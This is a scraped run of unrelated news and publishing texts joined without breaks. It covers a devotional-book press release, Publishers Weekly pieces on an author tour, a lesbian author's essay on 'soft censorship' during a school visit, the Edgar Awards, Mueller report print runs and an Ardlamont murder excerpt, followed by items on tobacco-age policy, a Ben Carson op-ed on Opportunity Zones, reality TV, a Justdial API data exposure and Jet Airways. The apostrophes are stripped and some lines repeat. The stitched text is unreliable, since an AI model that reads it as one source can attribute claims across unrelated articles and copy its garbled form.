God, who created life. More times than not, a lot of people have thought about God, the creator of all things, as it is complicated to really know who he is for them when, in truth, knowing God is to learn who we are in him. Pastor William truly believes that in these few chapters, You will come to know how easy a walk with God almighty really is. I pray for Gods divine blessings over each person as he/she reads and understands who God really is. Be blessed. Published by New York City-based Page Publishing, William Michaels book is a compilation of New Testament verses offered to guide and inspire. Readers who wish to experience this devotional work can purchaseKnowing God for Yourself at bookstores everywhere, or online at the Apple iTunes store, Amazon, Google Play, or Barnes and Noble. For additional information or media inquiries, contact Page Publishing at 866-315-2708. About Page Publishing: Page Publishing is a traditional New York-based, full-service publishing house that handles all the intricacies involved in publishing its authors books, including distribution in the worlds largest retail outlets and royalty generation. Page Publishing knows that authors need to be free to create - not overwhelmed with logistics like eBook conversion, establishing wholesale accounts, insurance, shipping, taxes, and the like. Its roster of accomplished authors and publishing professionals allows writers to leave behind these complex and time-consuming issues to focus on their passion: writing and creating. Learn more at http://www.pagepublishing.com. This month, Caldecott Honor artist Vera Brosgol set out on tour in celebration of her new picture book, The Little Guys (Roaring Brook), about a group of tiny forest dwellers in need of a lesson in kindness. Over the course of her travels, Brosgol reached approximately 3,000 young readers in a series of school and public events. Weve gathered a selection of highlights from her tour, which included readings, drawing demos, and more. The tour kicked off at Green Bean Books in Portland, Ore., where Brosgol donned an acorn cap and drew characters from her book. A Little Guys-themed window display at Green Bean Books. The author-illustrator meeting a young reader at Irvington Elementary School in Portland, during a visit hosted by Green Bean. A multimedia presentation at Beverly Cleary Elementary School in Portland. Brosgol read from her Caldecott Honor-winning picture Leave Me Alone! at the Reading Bug in San Carlos, Calif. A moment in the sunshine with the Little Guys, outside of Loyola Elementary School in Los Altos, Calif. Guests enjoyed homemade cookies at Schulers Books & Music in Grand Rapids, Mich. BookBug in Kalamazoo, Mich., welcomed Brosgol for a public event. Fans were treated to a drawing demo at the Red Balloon in St. Paul. K.A. Holt is the author of Rhyme Schemer, House Arrest, Knockout, and the forthcoming Redwood + Ponytail (all from Chronicle Books), along with several other books for young people. She lives in Austin, Tex., and is active within the vibrant Texas writing community. I am in a gym. I hold a microphone in one hand, a remote in the other. Three hundred and fifty middle school kids size me up. I ask them if they want to see my seventh grade yearbook photo. Yesssss!!! Nooooo!!! Ooooooh!!! I click the remote. A slightly blurry photo appears on the giant screen behind me. Me at 12. Looming large. The hair. The glasses. The definition of awkward. The irony isnt lost on me that, back then, I spent a lot of time trying to make myself invisible, and now here I am, on display, having a great time. This is a scene that repeats itself dozens of times a year. As an author of middle grade novels, I visit lots of schools to talk about my books and writing. I also talk about poetry and where my ideas come from. I talk about how to combat writers block, and how to structure a story. I answer questions about publishing, about my dog, about which of my books are my favorites. Sometimes a student will ask if Im married. Ill say, Are you proposing? which gets me a laugh every time. Then I say, Youre too late! My wife and I got married last year. Guess what happens next. Ninety percent of the time? Nothing. The hands go back in the air and I answer the next question. Sure, 10% of the time there will be a few giggles. Sometimes a kid will say, I knew it! and high-five the kid next to them. If no one asks if Im married, someone will often say, Has anyone ever told you that you look like Ellen [DeGeneres]? I know what this is code for, and they do, too. For those kids, Im the only lesbian theyve seen other than Ellen. Sometimes middle school girls will cry when I sign their books. I am their bookish, gay lady Beatle. But most kids dont care at all. I am a grown-up who wrote a book they read. Cool. Can you sign my book and my arm? Yes, I can if your teacher says its okay. My presentation is not about being gay. Its not about my personal life or my marriage. It is not called Lesbians: Theyre People Just Like Us! Being gay is irrelevant to what Im there to present about. And yet, on a student-by-student basis, it can become the most relevant thing we never talk about. When I walk into a school, I do not unfurl an eight-foot-long Gay Agenda and hold everyone hostage until they pledge allegiance to the rainbow flag. In fact, when I visit schools I do everything a straight author does, except for three things: Im a lady and I say my wife when asked about my spouse. I give every LGBTQ+ kid in the audience a flesh and blood example of an LGBTQ+ person who isnt on TV, who isnt a stereotype, who is proud and confident, who is a human just like everyone else. I give every non-LGBTQ+ kid in the audience a flesh and blood example of an LGBTQ+ person who isnt on TV, who isnt a stereotype, who is proud and confident, who is a human just like everyone else. It might not seem like much, but I can tell you, for some kids this is everything. We dont always know which kids these are, but they are there. Trust me. Of course, I meet loud and proud kids, but I know that for every one of them there are the kids who havent found a safe space, the kids who are just noticing that their path is maybe bumpier than their friends paths. Those are the kids I think about when I reflect on a recent school visit. I walked through the front doors of the school and, with chilling precision, was met with so-called soft censorship. Not of my books, but of me, as a person. Wait, you say. What is soft censorship? What does that even look like? Soft censorship looks like bright smiles in a schools front office. Soft censorship says, Hello! Were so glad you could visit! Soft censorship smilingly leads you to the auditorium as it says, Oh! I almost forgot to tell you because of some sudden scheduling conflicts, weve made a few changes to the day. Soft censorship smiles politely and says, I hope thats okay! Soft censorship walks you to the front of the empty auditorium. Soft censorship tells the tech support person, We wont be needing a microphone today. Soft censorship gives you yet another bright smile as it says, Instead of speaking to the whole school, youll be speaking to 20 students. Soft censorship says, Yes, I know the whole school read your book, but the students really need to study, so there will be no book signing. Soft censorship forgets to tell you that administrators Googled you and were upset when they saw gay pride flags. Soft censorship doesnt say that parents complained about you visiting the school. Soft censorship neglects to inform you that you, as a person, were deemed inappropriate for nearly all the students, and that is why your audience was so small. Soft censorship is the most insidious, cowardly discrimination of all because you dont even know its happening. Sure, you suspect something is a little off, but you believe your hosts. The kids have to study. Okay. I take you at your word. Soft censorship doesnt start to dawn on you until students contact you directly to ask questions about the book you wrote. They tell you to keep your chin up, that youre a good person, that discrimination is real. Theyre sad they couldnt get their books signed. Theyre sad they werent allowed to see you. Oh, and can you tell them where you get your characters names? How long does it take to write a book? Soft censorship is a slow motion kick in the guts, as the kicker assures you they are not kicking you. And then, You drive to the airport. You fly home. I flew home. I felt stupid. I felt angry. My heart still breaks for every kid that day who, instead of learning about writing and story structure and my dogs cute haircut, learned that because of who they are, they should be made invisible to their class, their school, themselves. I emailed the school. I asked for more details as to why most of the students couldnt see me that day. I didnt tell them the students had already told me why. Soft censorship answered, We welcomed you. We smiled with you. We were so polite. We paid you. How does that make you invisible? I guess theyre right, in a way. Maybe they didnt make me invisible. Maybe they turned me into a ghost. There, but not there. A whisper in the hallway. But the whispers have been growing louder. Students continue to find ways to contact me. They ask for book recommendations. They ask for advice on writing. They call out the school on social media. Now, I am in another gym. I hold another microphone. Three hundred and fifty kids size me up. I tap the microphone. Can you hear me? They all shout, YESSSSS!!! I laugh and say, Can you see me? YESSSSS!!! Good, I tell them. I see you, too. Everyone deserves to be seen. Everyone deserves to be a main character. Lets save the shadows for the cowards. They know who they are. Premium online access is only available tosubscribers. If you have an active subscription and need to set up or change your password, please click here New to PW? To set up immediate access, click here. NOTE: If you had a previous PW subscription, click here to reactivate your immediate access. PW site license members have access to PWs subscriber-only website content. If working at an office location and you are not "logged in", simply close and relaunch your preferred browser. For off-site access, click here. To find out more about PWs site license subscription options, please email Mike Popalardo at: mike@nextstepsmarketing.com. Regular viewers of TV cop shows known that homicide detectives and coroners often refer to their job as speaking for the dead. But true crime authors can claim that same raison d'etre, as exemplified in the acceptance speech by the Edgar winner for Best Fact Crime, journalist Robert W. Fieseler. Fieseler won for Tinderbox: The Untold Story of the Up Stairs Lounge Fire and the Rise of Gay Liberation (Norton/Liveright), an investigation into a 1973 arson fire in New Orleans that claimed 32 lives, which was the largest mass killing of gays prior to the 2016 Pulse nightclub massacre. The tragedy and its painful aftermath, which included victims unclaimed by families who felt ashamed of their sexual orientation, and the refusal of proper burials by the Catholic Church because of that orientation, ultimately played a key role in the gay liberation movement. Fieseler, who grew up as a closeted gay man in the MidWest, dedicated his remarks to the 31 men and one woman whose voices were snuffed out by the fatal blaze, and thanked his husband for not divorcing him during the long process of bringing the truth about the Up Stairs Lounge to light. Fieseler's speech was one of the most powerful moments from last nights 73rd Edgar Allan Poe Awards Dinner, held by the Mystery Writers of America in Manhattans Grand Hyatt Hotel. The issue that was largely avoided last night was the controversy that preceded the banquet, when the MWA withdrew its designation of Linda Fairstein as one of its Grand Masters for 2019. Despite Fairsteins long track record as a pioneering prosecutor on behalf of victims of sex crimes and domestic violence, the MWA reversed course two days after announcing Fairsteins honor in November 2018, in the wake of criticism over the choice because of her role in the Central Park Five case. The dispute, which caused a split in MWA ranks, was not referred to at all, and there was no information provided about the revised procedures for selecting honorary awards in the future the MWA had announced at the time, so that it could continue to build a strong and inclusive organization. The closest the evening came to possibly addressing the issue was a brief comment by 2016 Grand Master Walter Mosley, who, in accepting the Best Novel Edgar for Down the River Unto the Sea (Hachette Book Group - Mulholland), stated that he was happy with the direction MWA was taking. The MWA is facing a challenging world, and is changing with that world. The very different world of American crime fiction a century ago was the focus of the Best Critical/Biographical Edgar winner, master annotator Leslie S. Klingers Classic American Crime Fiction of the 1920s (Pegasus Books); that volume contained five full novels, including Earl Derr Biggers House Without A Key, featuring Chinese-American detective Charlie Chan, who was created at a time when racism against that community - and others- was rampant. Andrew Nurnberg, long-time literary agent for 2019 Grand Master Martin Cruz Smith, regaled the audience with an account of his clients professional vicissitudes, which included a protest from Smiths publisher when the author changed the plot of Gorky Park to make Russian detective Arkady Renko the lead. Other award winners included James A. McLaughlin, author of Bearskin (Ecco), which won best first novel by an American author, and Alison Gaylin, winner of the best paperback original award for If I Die Tonight (William Morrow). To see a full list of the winners, click here. Despite the widespread availability of digital copies of the Mueller report, the three publishers that have announced plans for print editions remain convinced that there will be robust demand for both their physical copies as well as e-books. Melville House, which had originally planned to do a first printing of 50,000 copies of its mass market paperback edition, upped its run to 200,000, publisher Dennis Johnson said. He expects to begin shipping to stores on Monday, April 29. Over at Skyhorse, the companys first printing of 200,000 was off press on April 22 and was beginning to reach some accounts by midweek, said Skyhorse v-p and executive director of sales and marketing Bill Wolfsthal. Even as that first print run was being shipped, Skyhorse ordered another 75,000-copy printing, after hearing from accounts that they may not have ordered enough copies. To cut down on shipping time, Wolfsthal said Skyhorse was shipping to as many retailers and wholesalers as possible directly from the printer, which he estimated will get books onto store shelves two to three days sooner than if they went through the warehouse. The Skyhorse edition, which carries an introduction by Alan Dershowitz, was typeset to make it easier to read than the PDF edition that is available from the Department of Justice, Wolfsthal noted. Although it has not upped its print run since its original announcement, Scribner will have the most books on the market with a first printing of 350,000 copies. Scribner was the first of the traditional publishers to get its e-book out, releasing it April 19 (Skyhorses e-book was released earlier this week, and Melvilles will be out today), and, despite being on sale for only a handful of days, it was #10 the Apple Books stores bestseller list for the week ended April 21. While it was sending files for the e-book, S&S also sent files to its printer, and copies of the print book, which has analysis from the editors of the Washington Post, began arriving at some accounts on Wednesday. Brian Belfiglio, v-p, director of publicity for Scribner, said accounts are free to start selling the book as soon as copies arrive. Similar to Melville House and Skyhorse, which saw strong preorder demand, Belfiglio said S&S anticipates robust sales for both the e-book and the paperback editions and added that Scribner is ready to reprint quickly to meet ongoing demand. The publishers bullish stance comes even though digital copies, in most cases just PDF versions, are readily available. Scribd reported that by midweek Mueller report PDFs on Scribd had been viewed almost 3.8 million times. B&N is giving away a free download of the report to Nook customers, and there are myriad e-book editions for sale on Amazon. Still, for the most part, booksellers expect demand to be strong for the print edition, though it is not a unanimous sentiment. Michael Jones, owner of River Oaks Bookstore in what is a Republican stronghold in Houston, ordered three copies of the Scribner edition. Im sure the demographics will make a difference across the country, but we dont see any big demand in our little spot, Owens said. Even in the blue states of Massachusetts and Maryland, strong sales are not a given. Liz Hopper Whitelam, owner of Whitelam Books in Reading, Mass., said no one at her store has asked about the report and she has not placed any orders. Debbie Rodean Scheller, owner of A Likely Story Bookstore in Skyesville, Md., also did not order any copies, noting that the store has never done well with report-type books. Both booksellers noted they would place special orders for any customer looking for a copy. On the other end of the spectrum, Washington, D.C.s Politics & Prose expects the report to be a huge bestseller. Mark LaFramboise, head buyer for the store, said he ordered 600 copies of the Scribner edition. LaFramboise ordered copies of the Skyhorse and Melville editions as well, but he noted that, given Politics & Prose is in Washington, he expects customers to gravitate toward the Scribner title, since it contains commentary from Post editors. In any case, the report is going to be front and center in the store and occupy the space that Michelle Obama has been occupying for the last few months, LaFramboise said. He noted that it is hard to compare the Mueller report to anything that has come before it. The 9/11 report sold well, the Starr report did not, but this is somehow different, he said. LaFramboise said the attention its getting in the media should create interest in the public to see the actual report. And then there is the Trump factor. People are collecting artifacts of this presidency, and it will be remembered as a debacle. It is screaming to be memorialized in a hip, ironic fashion. James Fugate, co-owner of Eso Wan Books in Los Angeles, also believes the report will sell very well. There is huge demand for this book, and I have at least 10 preorders for this, he said. We ordered 50 each of the Scribner edition and the Melville House. I wont touch the Skyhorse edition with the Dershowitz introduction. He agreed with LaFramboise that the public wants its own look at the report. I heard from one customer the other night that they were sick of listening to the talking heads and just wanted to read the report for themselves. I think once people see it stacked up in the store near the register, they will buy it. Christie Olson Day, manager of Gallery Bookshop in Mendocino, Calif., said that, after receiving lots of calls for the report early in the week, she was backing up my initial orders. Brandon Stout, marketing director, Changing Hands Bookstore in Tempe, Ariz., had mixed expectations. He ordered 100 copies of both the Scribner and Melville editions for the stores Phoenix and Tempe outlets. From what Ive seen on social media, I wouldnt say there is a clamoring for it. Those who are keenly interested are reading the free version online, and we are recommending that as well, Stout said, but he still thinks the books will sell. When it becomes better known that there are multiple versions with different commentary, that will drive some interest. There will be partisan elements to that. In the riveting true crime book The Ardlamont Mystery: The Real-Life Story Behind the Creation of Sherlock Holmes, Daniel Smith investigates the 1893 death of a 20-year-old man who didn't return from a hunt. Two pioneers of forensic science, Dr. Joseph Bell and Dr. Henry Littlejohn, worked on the case and were credited as the primary influences for Arthur Conan Doyle's legendary creation: Sherlock Holmes. In 1893, Sherlock Holmes was approaching the peak of his popularity when his creator, Arthur Conan Doyle, decided to do the unthinkable. He vowed to kill off his literary progeny. The method he would use came to him on a trip he made to Switzerland that summerhe would dispose of the worlds first and most popular consulting detective by throwing him over the beautiful Alpine Reichenbach Falls. Holmess apparent death was documented in "The Final Problem," published in The Strand Magazine in December 1893. Readers were inconsolable. Legend has it that a large number thronged around the Strands offices, wearing black mourning armbands. Conan Doyle, though, was rather less affected. He was utterly weary of his detective, believing he kept him from better and more important work. He wanted to be a Sir Walter Scott for the next generation, not a scribbler of mere detective yarns. By coincidence, at the same time as "The Final Problem" appeared, a real-life murder trial was playing out in Scotland. A sensation in its own right, it also served to cast a light on the extraordinary genesis of Sherlock Holmesalthough few observers quite grasped its significance at the time. At Edinburghs High Court of Justiciary, a private tutor by the name of Alfred Monson was on trial for the murder (and additionally, the attempted murder) of his student, a handsome young army lieutenant called Cecil Hambrough. Cecil had lived as virtually part of Monsons family for the best part of three years, since he was 17 years old. The case caused an absolute sensation. For one thing, Monson was far from the typical defendant in a capital case. He was the son of a rector whose close family relations included Lord Oxenbridge (who had become the Queens Master of the Horse the previous year), Lord Galway, and the British ambassador to Austria. Monson had been employed by Cecils father to prepare the boy for a gentlemans life in the military. By the summer of 1893, Cecil was living with Monson, his wife, and their young children at the grand Ardlamont estate on Scotlands Cowal peninsula. One stormy morning in August, Monson, Hamborough, and a mysterious third man known as Mr. Scott embarked on a hunting expedition. But only Monson and Scott came back alive. Cecil received a shotgun wound to his head and died where he fell. The local doctor accepted that a tragic accident had taken place and so the victim was buried at the family church on his native Isle of Wight, off Englands southern coast. But over the next few weeks, it emerged that Monson and his wife had taken out life insurance policies on their charge. What had appeared accident was now treated as murder. Cecils body was exhumed and so began one of the Victorian eras most notorious murder investigationsone that came to be known as the Ardlamont Mystery. For Holmes aficionados, Cecil Hambroughs death might have evoked memories of one of Conan Doyles earlier Holmes short stories"The Boscombe Valley Mystery." That tale featured a young man who reported the death of his fatherin whose company he had recently beenhis "body stretched out upon the grass" in a wood. But whereas Cecils death was initially regarded as accidentalensuring that a vast wealth of evidence from the scene of death was lostin "The Boscombe Valley Mystery" the son was assumed to have had a hand in his fathers demise. So, when Holmes got on the case, he had plenty of evidence to mull over. Not so the poor expert forensic witnesses charged with figuring out what had happened at Ardlamont. Among those experts were two of the most respected medical men in Edinburgh society, not to mention pioneers in the then burgeoning world of forensic science. Their names were Joseph Bell and Henry Littlejohn. Moreover, as chance would have it, they were the chief inspirations behind the creation of Sherlock Holmes. Bell and Littlejohn were leading figures in the medical faculty at Edinburgh University when Conan Doyle began his medical studies there in 1876. As had been subsequently well documented, Bell had an extraordinary gift for establishing the symptoms and back stories of his patients simply by close observation of the subtlest non-verbal signals. He could tell a man's profession from his walk, whether he had served in the military by the way he wore his hat, or where he lived from the state of his shoes. His displays of inductive reasoningthat is to say, making broad generalizations from specific observationsfascinated Conan Doyle, who stretched the technique as far as he could in the character of Holmes. In 1892, Conan Doyle even wrote to Bell to tell him: "It is most certainly to you that I owe Sherlock Holmes." That same year, Bell was named in the press as "the real life" Holmes. Whether or not he enjoyed the attention that this revelation engendered is moot, but his name became synonymous with that of the fictional detective forevermore. Littlejohn, though, received no such acknowledgement in his lifetime. Yet at the time when Conan Doyle was studying under Bell (in fact, he even worked as Bells medical assistant for an extended period), Littlejohn was the countrys leading forensic expert. Moreover, as the official Police Surgeon, he was the first port of call for the police whenever there was a suspicious death. He was a virtual ever-present at the major murder scenes in Scotland throughout the second half of the 19th century. He was, also, a great friend of Bell. So how could Conan Doyle not have been influenced by him in the creation of Holmes? It was only in 1929, years after Littlejohns death, that Conan Doyle is recorded as acknowledging his contribution. At a talk he gave in Nairobi, Kenya, he revealed that it was the methods of Bell and Littlejohn that first induced him to write a detective story from the point of view of the scientific man. It is my belief that Littlejohn was purposefully written out of the Holmes genesis story so that he might continue his vital work unhindered. During the Ardlamont trial, Bell gave an interview to a journalist from the Pall Mall Gazette. He revealed that he and Littlejohn had been working together on cases for the police for over twenty years. Littlejohnas the paid employee of the policeroutinely called upon Bell to be his "second man" on investigations. In other words, Bell was something akin to Littlejohns Watson. As the press clamored for information on the real-world origins of Holmes, how much better for Bell to "take the heat" while Littlejohn (the professional detective, as it were) could continue his labors without the extra pressure of being tagged "Holmes incarnate"? The Ardlamont case put enormous strain on both Bell and Littlejohn. The stakes were extraordinarily high and the courtroom drama intense. But for us today, it is a case that delivers in so many ways. Firstly, there is a mystery as perplexing and gripping as anything Holmes himself ever faced. Then there is the spectacle of Littlejohn and Bell in their pomp, turning over the evidence in search of truthand so giving us a masterclass in the evolution of forensics into the scientific discipline that we recognize today. In doing so, these men of science, rationalism, and reason provided us with a compelling glimpse into the world that birthed Sherlock Holmesstill the greatest detective who ever (and, of course, never) lived. Last week, Senate Majority Leader Mitch McConnell (R-KY) announced his intention to introduce legislation that would raise the federal minimum age for buying tobacco products to 21. Sen. McConnell cited the unprecedented rise in teens using e-cigarettes and vaping devices as the impetus for this bill. His announcement comes months after the U.S. Surgeon General Jerome Adams called the use of e-cigarettes among youth an epidemic. Certain jurisdictions have already taken action to raise the age to purchase tobacco. As of now, 12 states have already changed the age to buy tobacco products to 21 from 18 (while New York and Maryland currently have legislation pending to do the same). There are also 450 metro areas across the country, including New York, Chicago, Boston, Washington, D.C. and Minneapolis, that have made buying tobacco products before 21 illegal. Here are five facts on the proposal to raise the age of purchasing tobacco to 21 and its long-term implications. 1. While raising the federal age to 21 would be new, there have been laws on the books for a minimum age to buy tobacco for well over a century. According to TIME Magazine, in the 1880s a number of states including New Jersey, New York, Connecticut, Michigan, and Oregon all banned tobacco from being sold to anyone under 16. 2. The Centers for Disease Control and Prevention shows that smoking in America has reached an all-time low; today, 14 percent of adults smoke compared with 42 percent of adults half a century ago. The rate of adult smokers in America began to decline in 1964 when the U.S. surgeon general at the time issued the first report linking smoking to cardiovascular disease and cancer. Moreover, the increase in the price of cigarettes made smoking cost prohibitive for more Americans. 3. Studies have shown that raising the tobacco age to 21 has a number of positive impacts, including preventing young people from ever starting to smoke, mitigating the adverse health effects of tobacco use, and reducing health care costs. This is attributed to the fact that 95 percent of adult smokers begin smoking before turning 21. One NIH study showed that increasing the smoking age to 21 in New York City would reduce tobacco use 55 percent for those between the ages of 18 and 20 and 67 percent for those between the ages of 14 and 17. 4. The Department of Health and Human Services notes that today white teens are more likely to smoke than black or Hispanic teens and smoking rates for this demographic are highest in the South and Midwest. E-cigarettes, a newer form of smoking, have also proven to be a major public health challenge. There were 1.5 million more youth e-cigarette users in 2018 than in 2017 and more than 20 percent of high school students currently use these products. There is concern that the use of these products will lead to smoking cigarettes. 5. There is also industry support for legislation raising the age to buy tobacco products. According to The New York Times, a number of tobacco and e-cigarette companies, including Altria, Juul, and R.J. Reynolds Tobacco Company, all support raising the minimum age. Certain suppliers have also gotten on board. This week, Walgreens announced it would stop selling tobacco products to those under the age of 21. And earlier this month, Rite Aid announced it would stop selling e-cigarette and vaping products because of the rise of tobacco use among minors. No Labels is an organization of Democrats, Republicans, and independents working to bring American leaders together to solve problems. By Daily Signal, April 23, 2019 Sometimes, a few sentences tell you more about a personand, more importantly, an ideologythan a learned thesis. That is the case with tweets from Hillary Clinton and former President Barack Obama two days ago in response to the mass murder of more than 300 Christians and others in Sri Lanka. As Ronald Reagan foretold a generation ago, it is morning again in America. Todays booming economy, under President Donald J. Trump, stands in stark contrast to the stagnation and volatility Americans endured over the past decade. It is one of our Nations bedrock beliefs that America is the Land of Opportunity. Every street in every city, every stretch along every country road, should indeed be a zone where opportunity calls home. In pursuit of that bold ideal, Opportunity Zones were created under the 2017 Tax Cuts and Jobs Act to stimulate economic development and job creation, by incentivizing long-term investments in low-income neighborhoods. Few programs in modern American history have the potential to touch the lives of so many people as powerfully as Opportunity Zones, which are now home to approximately 31.3 million Americans in all 50 states and the District of Columbia or roughly 10% of the country. An additional 3.7 million people reside in Opportunity Zones in five U.S. territories. As a doctor, I know all too well medication often involves a trade-off between solutions that are fast-acting and those that are long-lasting. One of the most commendable features of Opportunity Zones intelligent design is that they achieve the best of both worlds. The fast-acting impact of Opportunity Zones is evident from the fact that we have already heard positive reports from city officials that anticipated investments in Opportunity Zones have helped preserve or attract economic development into their localities. Further, data from Zillow shows the negative growth rate of property sales prices in selected vulnerable communities, prior to the Trump tax cuts, flipped to a positive growth rate of 20 percent following Opportunity Zones designation. But Opportunity Zones also deliver long-lasting solutions by structuring rewards to serve local communities for the long-term. Only investors who commit capital for five, seven, and ten years receive the tax laws formidable financial benefits. That means new growth becomes consistent growth, and new jobs become steady jobs. This long-term lens is critical. When investors are here today, gone tomorrow, residents face an uncertain future. But when residents know new businesses are here today, here to stay, they can plan for the growth of their communities, provide a stable future for their families, and ultimately become homeowners. To ensure Opportunity Zones reach their potential, I have the privilege to chair the White House Opportunity and Revitalization Council. This Council consists of members across 16 Federal agencies as well as FederalState partnerships and maintains the core mission and function to better use public funds to revitalize economically distressed communities. By having a single body determine interagency consensus rather than having 16 separate departmental processes the Council can achieve faster resolution of issues which means we can deliver faster solutions to disadvantaged neighborhoods and families. As of now, the Council has identified more than 160 programs that could increase targeting to Opportunity Zones through grant preference points, loan qualifications, reduced fees, and eligibility criteria modifications. The Council is also going to conduct a listening tour of rural, urban, and suburban Opportunity Zones that will incorporate community leaders, entrepreneurs, and investors, so their local input is always in our ears. Last week, I visited Birmingham, Alabamas Campus of Hope, where thousands of residents in Birmingham public housing will soon get access to valuable resources to help put them on the path to financial self-sufficiency. I also traveled to Little Rock, Arkansas to tour the development of Cumberland Towers. Each of these sites is situated in an Opportunity Zone, which means todays snapshot represents the before pictures on a self-development path made possible by the combined power of private-sector investment and this Administrations foresight in public policy. We expect the after picture to be as bright as our Nations bold ideals. It takes more than soil and water for a sapling to grow to its full potential: the final ingredient is sunlight. Our Nations vulnerable families already have the grit and persistence to grow. They need only the sunshine that economic opportunity provides to reach the brightness of their American Dream. Dr. Benjamin S. Carson is the 17th Secretary of the U.S. Department of Housing and Urban Development Find a great selection of commercial real estate, manufactured homes, timeshares and more for Sale Buy real estate. Find a great selection of commercial real estate, manufactured homes, timeshares and more for Sale in US and Canada. Search Real Estate By Elizabeth Kwiatkowski, 04/25/2019 ADVERTISEMENT ADVERTISEMENT Elizabeth Kwiatkowski is Associate Editor of Reality TV World and has been covering the reality TV genre for more than a decade. : Happily Ever After? star Nicole Nafziger admits she and fiance Azan Tefou never opened a beauty store in Morocco -- and there was in fact "no store" at all.In the first hour of : Happily Ever After?'s upcoming Season 4 premiere that TLC released online for early viewing, Nicole revealed the truth about what went down with that beauty store."Even though I told my mom that we were talking about opening a store, we never winded up going through with it... There was no store," Nicole, 24, confirmed.Nicole intends to marry Azan when she visits him again in Morocco on the upcoming Happily Ever After? season, but their wedding plans have already fallen through multiple times -- with the latest incident being in : Happily Ever After?'s third season.Nicole traveled to Morocco after Azan's K-1 visa was denied in the hope they'd tie the knot and obtain a spousal visa for Azan so he could eventually move to the United States.But the ceremony was postponed due to financial constraints, and Azan seemingly convinced Nicole to invest their wedding money into opening a beauty store instead."Azan is living off her... He's milking her for all he can," Nicole's stepfather Joe Fouraker told RadarOnline last year.Nicole gave Azan $6,000 to open the alleged beauty store in Morocco, while he only contributed $500 to the company.Azan also refused to show Nicole's mother the store -- or even a photo of the building -- when she was visiting the pair in Morocco, sparking speculation it was all a scam."I am surprised the purchasing of the store takes precedence over the wedding," Nicole's mom said during a third-season episode of : Happily Ever After?."That looks suspicious. Maybe this whole store thing is Azan's get-rich-quick scheme."During the sneak peek of Sunday night's : Happily Ever After? premiere, Nicole revealed the truth about what went down with that beauty store."Why did y'all decide to push it off?" Nicole's sister Rachael asked as they were making lunch together."We decided to just like, start a shop or something to get, like, an income and then kind of get married," Nicole replied."So how's the shop going," Nicole's sister followed up.Nicole seemed uncomfortable with the question and responded vaguely by simply saying, "It's going. It's a shop."Nicole then admitted the reality of the situation in an interview with the show's producers."Even though I told my mom that we were talking about opening a store, we never winded up going through with it," Nicole explained.A producer then asked Nicole, "So there is no store?""There is no store," Nicole admitted. "But I haven't told my family because my family does nothing but grill me."Nicole was shown venting about how she was tired of waiting around in order to begin her life with Azan, whom he young daughter May calls "Daddy.""I miss Azan," Nicole shared. "Having to come back without getting married really sucks."Nicole's sister confessed to cameras Nicole "really wanted to move forward with the wedding" last year and so it made her family wonder how much of the cancelled event was Azan's doing.During a recent Q&A session with fans on her Instagram Story, Nicole revealed she and Azan had put their wedding on hold last year because there was "too much pressure," and "not enough time or money.""You can't rush this kind of stuff," she added on social media. "Do it in the right moment and it wasn't the right moment yet."Prior to starring on : Happily Ever After?, Nicole and Azan -- who met on a mobile dating app -- also appeared on Season 4 and Season 5 of the original series. , We're sorry, this article is not currently available Porterville, CA (93257) Today Rain likely. Low 47F. Winds E at 5 to 10 mph. Chance of rain 100%. Rainfall around a half an inch.. Tonight Rain likely. Low 47F. Winds E at 5 to 10 mph. Chance of rain 100%. Rainfall around a half an inch. Govt Mule, a rock and roll band, performs during a concert at the Georgia Theatre on Thursday, April 25, 2019, in Athens, Georgia. The band perfomed tracks from their new album, Revolution Come, during the second of two back-to-back headliners at the Georgia Theathre. (Photo/Gabriella Audi, www.gabbyaudi10.wixsite.com/mysite-1) Jenna Jambeck, a University of Georgia College of Engineering professor, will help lead an all-women expedition to the Ganges River, to better understand plastic waste and how it makes its way into the worlds water supply, in partnership with National Geographic. As the University of Georgias student body changes, the policies, curriculum and technology must adapt with it. The Presidents Task Force is a group of 20 UGA faculty members that was assembled to advance the institutions longstanding commitment to excellence in undergraduate education, according to its 2017 Report of Progress and Recommendations released in December and its updated report released in March 2019. At a time when services are rapidly digitising in India, enterprises are witnessing a rise in cases of sensitive data exposure risks and breaches. Peerzada Abrar and Yuvraj Malik report. IMAGE: Justdial brand ambassador Amitabh Bachchan. Photograph: Kind courtesy justdial.com On April 12, security researcher Rajshekhar Rajaharia was at home, surfing the Web. He landed on the Web site of Justdial, a provider of local search for different services. Rajaharia works with several law enforcement agencies to solve cyber security cases. He immediately realised something was wrong. He found the APIs (application programme interfaces) of the tablet version of Justdial's Web site was exposed -- this made the personal information of 100-odd million users 'publicly accessible'. This included information such as names, e-mail IDs, mobile numbers, genders, dates of birth, addresses, photos and occupations of the users. "Anyone having access to it (APIs) can grab all the data," says Rajaharia. "I immediately tried to reach the firm to alert them, but didn't get a response immediately." In fact, said Rajaharia (he is from Rajasthan), he didn't get any response for five days. On Thursday, April 18, the firm told him the issue had been fixed. However, it did not ask him if "there were any other vulnerabilities" on the Web site that needed to be addressed. "They still have an OTP-related API which is publicly accessible," says Rajaharia. IMAGE: There is a lack of awareness among users about data security and privacy. Photograph: Kind courtesy methodshop/pixabay.com In a stock exchange filing, Justdial said there had been no data breach of the 100 million users. All sensitive user information were protected in line with industry practices. 'Further, the majority of Justdial platforms work on OTP-based authentication,' the company stated. The firm said it stored the financial information in a double-encrypted format, regularly audited by a PCI DSS (Payment Card Industry Data Security Standard)- compliant auditing firm. 'This vulnerability which existed on the older app platforms is also now fixed. Newer (current) versions of the app, where the majority of users are available, do not have the above vulnerability,' the firm said. Justdial says it has implemented adequate encryption for the older APIs which were impacted. While regular audits are conducted, it has also initiated an independent tech-audit to identify existing vulnerability. Experts say at a time when services are rapidly digitising in India, enterprises are witnessing a rise in cases of sensitive data exposure risks and breaches. By industry-best practice, service providers need to perform an annual audit of their security set-ups. "Many firms are not doing it and, unfortunately, from the regulatory side, there is no enforcement action," says Salman Waris, managing partner at Delhi-based technology law firm TechLegis Advocates & Solicitors. Also, there is a lack of awareness among users about data security and privacy. "Generally, consumers even don't get to know that their personal data were (exposed)," adds Waris. Experts say a breach does not necessarily mean that data was indeed stolen and misused. In many cases, companies have admitted to data being 'exposed' previously, with potential to be downloaded. This January, State Bank of India admitted it was using an offsite server for an SMS-based account information-fetching service, which previously might have been left exposed. KrebsOnSecurity also reported that hackers had compromised IT services firm Wipro's systems and used these to launch attacks on some of its clients. Currently most of its 119 planes have been taken back by the lessors and many have been leased to other airlines like SpiceJet. The second challenge is that it has to repay banks. The biggest, immediate challenge the potential new owner of Jet Airways will have to tackle is to pay the lessors dues so that the airline can negotiate on getting delivery of some of the planes on lease. Currently most of its 119 planes have been taken back by the 